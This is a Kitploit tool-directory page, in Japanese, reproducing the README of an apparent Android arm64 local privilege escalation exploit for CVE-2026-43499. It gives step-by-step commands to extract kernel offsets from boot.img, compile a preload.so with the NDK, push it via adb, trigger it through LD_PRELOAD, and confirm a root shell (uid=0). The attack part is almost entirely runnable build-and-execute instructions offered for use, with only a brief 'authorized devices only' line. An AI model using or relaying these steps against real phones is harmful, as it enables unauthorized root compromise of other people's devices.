Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-43499_HW-CLT-AL01 — boot.imgからデバイスごとのカーネルオフセットを生成し、CVE-2026-43499 Android arm64 ローカル権限昇格を悪用するためのプリロードライブラリをコンパイルします。 | Kitploit
ツール/GitHubGitHub/zychen027/cve-2026-43499_hw-clt-al01
Androidセキュリティ特権昇格エクスプロイトモバイルセキュリティペイロード開発ファームウェア解析バイナリエクスプロイト
GitHubzychen027/cve-2026-43499_hw-clt-al01

CVE-2026-43499_HW-CLT-AL01

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

boot.imgからデバイスごとのカーネルオフセットを生成し、CVE-2026-43499 Android arm64 ローカル権限昇格を悪用するためのプリロードライブラリをコンパイルします。

リポジトリを見る
423日前未レビュー

CVE-2026-43499 Android arm64 ローカル権限昇格適応

English | 日本語


これは CVE-2026-43499 のための Android arm64 ローカル権限昇格適応プロジェクトです。

このプロジェクトは、対象デバイスの boot.img と profile 情報に基づいて target.h を生成し、対応する preload.so をコンパイルします。

説明:本プロジェクトは汎用適応フレームワークであり、特定の機種に固定されません。実際に使用できるかどうかは、generate_target.py が target.h を正常に生成できるか、および実機でのテスト結果によります。


ディレクトリ構成

root@kitploit:~
项目目录/
├── boot.img                   # 目标设备同固件 boot 镜像
├── profile.json               # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

必要な依存関係

基本依存関係

root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Windows 推奨環境

Windows では以下を推奨します:

root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

MSYS2 で make をインストール:

root@kitploit:~
pacman -S make coreutils

準備するファイル

以下を準備してください:

root@kitploit:~
boot.img
profile.json

profile の例:

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

profile 内の次の 2 つのアドレス:

root@kitploit:~
p0_phys_offset
p0_kernel_phys_load

すでに Root 化されており、対象の boot.img と同じファームウェアのスマートフォンでスクリプトを実行すると取得できます:

root@kitploit:~
python3 detect_offset.py

Windows でも可能です:

root@kitploit:~
python detect_offset.py

使用方法

1. プロジェクトディレクトリへ移動

Linux / macOS:

root@kitploit:~
cd PATH/project

Windows MSYS2 の例:

root@kitploit:~
cd PATH/CVE-2026-43499-Poc-Analysis-main

2. NDK パスを設定

Linux / macOS の例:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk

Windows MSYS2 の例:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29

3. target.h を生成

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h

または CMD で使用:

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h

llvm-objdump が見つからないと表示された場合は、パスを手動で指定してください:

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h \
  --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

または CMD で使用:

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

成功すると、次のような表示が出力されます:

root@kitploit:~
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. preload.so をコンパイル

Linux / macOS:

root@kitploit:~
make -C source clean preload

Windows MSYS2:

root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

成功すると、以下が生成されます:

root@kitploit:~
source/build/bin/preload.so

5. デバイスにプッシュして実行

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
root@kitploit:~
adb shell "chmod 0644 /data/local/tmp/preload.so"
root@kitploit:~
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"

検証:

root@kitploit:~
adb shell "/data/local/tmp/su -c 'id'"

成功すると、通常次のように表示されます:

root@kitploit:~
uid=0(root) gid=0(root)

Windows MSYS2 一括手順

ご自身のパスに合わせた例:

root@kitploit:~
cd PATH/CVE-2026-43499-annibale-main
root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

最終ファイル:

root@kitploit:~
source/build/bin/preload.so

よくある質問

llvm-objdump が見つからない

LLVM をインストールするか、以下を使用してください:

root@kitploit:~
--llvm-objdump "PATH/llvm-objdump"

make が見つからない

Windows では MSYS2 でインストールします:

root@kitploit:~
pacman -S make coreutils

clang が見つからない

通常は NDK パスが正しく設定されていないことが原因です。

Windows MSYS2 の例:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

target.h の生成に失敗

通常は、現在の boot.img またはカーネルレイアウトがまだ正常に適応されていないことを示します。

重点的に確認する項目:

root@kitploit:~
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

注意事項

  • デバイス、システム、カーネルを変更した後は、target.h を再生成する必要があります。
  • target.h は手動で変更しないでください。generate_target.py によって自動生成してください。
  • 認可を受けたデバイスと環境でのみ使用してください。
ツールをダウンロード